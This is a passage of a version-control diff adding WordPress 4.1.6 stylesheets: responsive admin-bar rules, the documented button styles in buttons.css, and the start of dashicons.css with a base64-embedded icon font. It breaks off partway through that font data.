+	.network-admin #wpadminbar ul#wp-admin-bar-top-secondary > li#wp-admin-bar-my-account {
+		margin-right: 0;
+	}
+
+	/* Realign arrows on taller responsive submenus */
+
+	#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before {
+		top: 10px;
+		left: 0;
+	}
+}
+
+/* Smartphone */
+@media screen and (max-width: 600px) {
+	#wpadminbar {
+		position: absolute;
+	}
+
+	#wp-responsive-overlay {
+		position: fixed;
+		top: 0;
+		left: 0;
+		width: 100%;
+		height: 100%;
+		z-index: 400;
+	}
+
+	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper {
+		width: 100%;
+		left: 0;
+	}
+
+	#wpadminbar .menupop .menupop > .ab-item:before {
+		display: none;
+	}
+
+	#wpadminbar #wp-admin-bar-wp-logo.menupop .ab-sub-wrapper {
+		margin-left: 0;
+	}
+
+	#wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper {
+		margin: 0;
+		width: 100%;
+		top: auto;
+		left: auto;
+		position: relative;
+	}
+
+	#wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper .ab-item {
+		font-size: 16px;
+		padding: 6px 15px 19px 30px;
+	}
+
+	#wpadminbar li:hover ul li ul li {
+		display: list-item;
+	}
+
+	#wpadminbar li#wp-admin-bar-wp-logo,
+	#wpadminbar li#wp-admin-bar-updates {
+		display: none;
+	}
+
+	/* Make submenus full-width at this size */
+
+	#wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper {
+		position: static;
+		-webkit-box-shadow: none;
+		box-shadow: none;
+	}
+}
Index: /tags/4.1.6/src/wp-includes/css/buttons.css
===================================================================
--- /tags/4.1.6/src/wp-includes/css/buttons.css	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/css/buttons.css	(revision 33402)
@@ -0,0 +1,364 @@
+/* ----------------------------------------------------------------------------
+
+NOTE: If you edit this file, you should make sure that the CSS rules for
+buttons in the following files are updated.
+
+* jquery-ui-dialog.css
+* editor.css
+
+WordPress-style Buttons
+=======================
+Create a button by adding the `.button` class to an element. For backwards
+compatibility, we support several other classes (such as `.button-secondary`),
+but these will *not* work with the stackable classes described below.
+
+Button Styles
+-------------
+To display a primary button style, add the `.button-primary` class to a button.
+
+Button Sizes
+------------
+Adjust a button's size by adding the `.button-large` or `.button-small` class.
+
+Button States
+-------------
+Lock the state of a button by adding the name of the pseudoclass as
+an actual class (e.g. `.hover` for `:hover`).
+
+
+TABLE OF CONTENTS:
+------------------
+ 1.0 - Button Layouts
+ 2.0 - Default Button Style
+ 3.0 - Primary Button Style
+ 4.0 - Button Groups
+ 5.0 - Responsive Button Styles
+
+---------------------------------------------------------------------------- */
+
+/* ----------------------------------------------------------------------------
+  1.0 - Button Layouts
+---------------------------------------------------------------------------- */
+
+.wp-core-ui .button,
+.wp-core-ui .button-primary,
+.wp-core-ui .button-secondary {
+	display: inline-block;
+	text-decoration: none;
+	font-size: 13px;
+	line-height: 26px;
+	height: 28px;
+	margin: 0;
+	padding: 0 10px 1px;
+	cursor: pointer;
+	border-width: 1px;
+	border-style: solid;
+	-webkit-appearance: none;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+	white-space: nowrap;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/* Remove the dotted border on :focus and the extra padding in Firefox */
+.wp-core-ui button::-moz-focus-inner,
+.wp-core-ui input[type="reset"]::-moz-focus-inner,
+.wp-core-ui input[type="button"]::-moz-focus-inner,
+.wp-core-ui input[type="submit"]::-moz-focus-inner {
+	border-width: 0;
+	border-style: none;
+	padding: 0;
+}
+
+.wp-core-ui .button.button-large,
+.wp-core-ui .button-group.button-large .button {
+	height: 30px;
+    line-height: 28px;
+    padding: 0 12px 2px;
+}
+
+.wp-core-ui .button.button-small,
+.wp-core-ui .button-group.button-small .button {
+	height: 24px;
+	line-height: 22px;
+	padding: 0 8px 1px;
+	font-size: 11px;
+}
+
+.wp-core-ui .button.button-hero,
+.wp-core-ui .button-group.button-hero .button {
+	font-size: 14px;
+	height: 46px;
+	line-height: 44px;
+	padding: 0 36px;
+}
+
+.wp-core-ui .button:active,
+.wp-core-ui .button:focus {
+	outline: none;
+}
+
+.wp-core-ui .button.hidden {
+	display: none;
+}
+
+/* Style Reset buttons as simple text links */
+
+.wp-core-ui input[type="reset"],
+.wp-core-ui input[type="reset"]:hover,
+.wp-core-ui input[type="reset"]:active,
+.wp-core-ui input[type="reset"]:focus {
+	background: none;
+	border: none;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	padding: 0 2px 1px;
+	width: auto;
+}
+
+/* ----------------------------------------------------------------------------
+  2.0 - Default Button Style
+---------------------------------------------------------------------------- */
+
+.wp-core-ui .button,
+.wp-core-ui .button-secondary {
+	color: #555;
+	border-color: #cccccc;
+	background: #f7f7f7;
+	-webkit-box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba( 0, 0, 0, 0.08 );
+	box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba( 0, 0, 0, 0.08 );
+ 	vertical-align: top;
+}
+
+.wp-core-ui p .button {
+	vertical-align: baseline;
+}
+
+.wp-core-ui .button.hover,
+.wp-core-ui .button:hover,
+.wp-core-ui .button-secondary:hover,
+.wp-core-ui .button.focus,
+.wp-core-ui .button:focus,
+.wp-core-ui .button-secondary:focus {
+	background: #fafafa;
+	border-color: #999;
+	color: #222;
+}
+
+.wp-core-ui .button.focus,
+.wp-core-ui .button:focus,
+.wp-core-ui .button-secondary:focus {
+	-webkit-box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+.wp-core-ui .button.active,
+.wp-core-ui .button.active:hover,
+.wp-core-ui .button:active,
+.wp-core-ui .button-secondary:active {
+	background: #eee;
+	border-color: #999;
+	color: #333;
+ 	-webkit-box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
+ 	box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
+}
+
+.wp-core-ui .button.active:focus {
+	-webkit-box-shadow:
+		inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 ),
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+	box-shadow:
+		inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 ),
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+.wp-core-ui .button[disabled],
+.wp-core-ui .button:disabled,
+.wp-core-ui .button.disabled,
+.wp-core-ui .button-secondary[disabled],
+.wp-core-ui .button-secondary:disabled,
+.wp-core-ui .button-secondary.disabled,
+.wp-core-ui .button-disabled {
+	color: #aaa !important;
+	border-color: #ddd !important;
+	background: #f7f7f7 !important;
+	-webkit-box-shadow: none !important;
+	box-shadow: none !important;
+	text-shadow: 0 1px 0 #fff !important;
+	cursor: default;
+}
+
+/* ----------------------------------------------------------------------------
+  3.0 - Primary Button Style
+---------------------------------------------------------------------------- */
+
+.wp-core-ui .button-primary {
+	background: #2ea2cc;
+	border-color: #0074a2;
+ 	-webkit-box-shadow: inset 0 1px 0 rgba( 120, 200, 230, 0.5), 0 1px 0 rgba( 0, 0, 0, 0.15 );
+ 	box-shadow: inset 0 1px 0 rgba( 120, 200, 230, 0.5 ), 0 1px 0 rgba( 0, 0, 0, 0.15 );
+ 	color: #fff;
+	text-decoration: none;
+}
+
+.wp-core-ui .button-primary.hover,
+.wp-core-ui .button-primary:hover,
+.wp-core-ui .button-primary.focus,
+.wp-core-ui .button-primary:focus {
+	background: #1e8cbe;
+	border-color: #0074a2;
+ 	-webkit-box-shadow: inset 0 1px 0 rgba( 120, 200, 230, 0.6 );
+ 	box-shadow: inset 0 1px 0 rgba( 120, 200, 230, 0.6 );
+	color: #fff;
+}
+
+.wp-core-ui .button-primary.focus,
+.wp-core-ui .button-primary:focus {
+	border-color: #0e3950;
+	-webkit-box-shadow:
+		inset 0 1px 0 rgba( 120, 200, 230, 0.6 ),
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+	box-shadow:
+		inset 0 1px 0 rgba( 120, 200, 230, 0.6 ),
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+.wp-core-ui .button-primary.active,
+.wp-core-ui .button-primary.active:hover,
+.wp-core-ui .button-primary.active:focus,
+.wp-core-ui .button-primary:active {
+	background: #1b7aa6;
+	border-color: #005684;
+	color: rgba( 255, 255, 255, 0.95 );
+ 	-webkit-box-shadow: inset 0 1px 0 rgba( 0, 0, 0, 0.1 );
+ 	box-shadow: inset 0 1px 0 rgba( 0, 0, 0, 0.1 );
+ 	vertical-align: top;
+}
+
+.wp-core-ui .button-primary[disabled],
+.wp-core-ui .button-primary:disabled,
+.wp-core-ui .button-primary-disabled,
+.wp-core-ui .button-primary.disabled {
+	color: #94cde7 !important;
+	background: #298cba !important;
+	border-color: #1b607f !important;
+	-webkit-box-shadow: none !important;
+	box-shadow: none !important;
+	text-shadow: 0 -1px 0 rgba( 0, 0, 0, 0.1 ) !important;
+	cursor: default;
+}
+
+/* ----------------------------------------------------------------------------
+  4.0 - Button Groups
+---------------------------------------------------------------------------- */
+
+.wp-core-ui .button-group {
+	position: relative;
+	display: inline-block;
+	white-space: nowrap;
+	font-size: 0;
+	vertical-align: middle;
+}
+
+.wp-core-ui .button-group > .button {
+	display: inline-block;
+	-webkit-border-radius: 0;
+	border-radius: 0;
+	margin-right: -1px;
+	z-index: 10;
+}
+
+.wp-core-ui .button-group > .button-primary {
+	z-index: 100;
+}
+
+.wp-core-ui .button-group > .button:hover {
+	z-index: 20;
+}
+
+.wp-core-ui .button-group > .button:first-child {
+	-webkit-border-radius: 3px 0 0 3px;
+	border-radius: 3px 0 0 3px;
+}
+
+.wp-core-ui .button-group > .button:last-child {
+	-webkit-border-radius: 0 3px 3px 0;
+	border-radius: 0 3px 3px 0;
+}
+
+.wp-core-ui .button-group > .button:focus {
+	position: relative;
+	z-index: 1;
+}
+
+/* ----------------------------------------------------------------------------
+  5.0 - Responsive Button Styles
+---------------------------------------------------------------------------- */
+
+@media screen and ( max-width: 782px ) {
+
+	.wp-core-ui .button,
+	.wp-core-ui .button.button-large,
+	.wp-core-ui .button.button-small,
+	input#publish,
+	input#save-post,
+	a.preview {
+		padding: 6px 14px;
+		line-height: normal;
+		font-size: 14px;
+		vertical-align: middle;
+		height: auto;
+		margin-bottom: 4px;
+	}
+
+	#media-upload.wp-core-ui .button {
+		padding: 0 10px 1px;
+		height: 24px;
+		line-height: 22px;
+		font-size: 13px;
+	}
+
+	.media-frame.mode-grid .bulk-select .button {
+		margin-bottom: 0;
+	}
+
+	/* Publish Metabox Options */
+	.wp-core-ui .save-post-status.button {
+		position: relative;
+		margin: 0 14px 0 10px; /* 14px right margin to match all other buttons */
+	}
+
+	/* Reset responsive styles in Press This, Customizer */
+
+	.wp-core-ui.wp-customizer .button,
+	.press-this.wp-core-ui .button,
+	.press-this input#publish,
+	.press-this input#save-post,
+	.press-this a.preview {
+		padding: 0 10px 1px;
+		font-size: 13px;
+		line-height: 26px;
+		height: 28px;
+		margin: 0;
+		vertical-align: inherit;
+	}
+
+	/* Reset responsive styles on Log in button on iframed login form */
+
+	.interim-login .button.button-large {
+		height: 30px;
+		line-height: 28px;
+		padding: 0 12px 2px;
+	}
+
+}
Index: /tags/4.1.6/src/wp-includes/css/dashicons.css
===================================================================
--- /tags/4.1.6/src/wp-includes/css/dashicons.css	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/css/dashicons.css	(revision 33402)
@@ -0,0 +1,957 @@
+@font-face {
+	font-family: "dashicons";
+	src: url(../fonts/dashicons.eot);
+}
+
+@font-face {
+	font-family: "dashicons";
+	src: url(data:application/x-font-woff;charset=utf-8;base64,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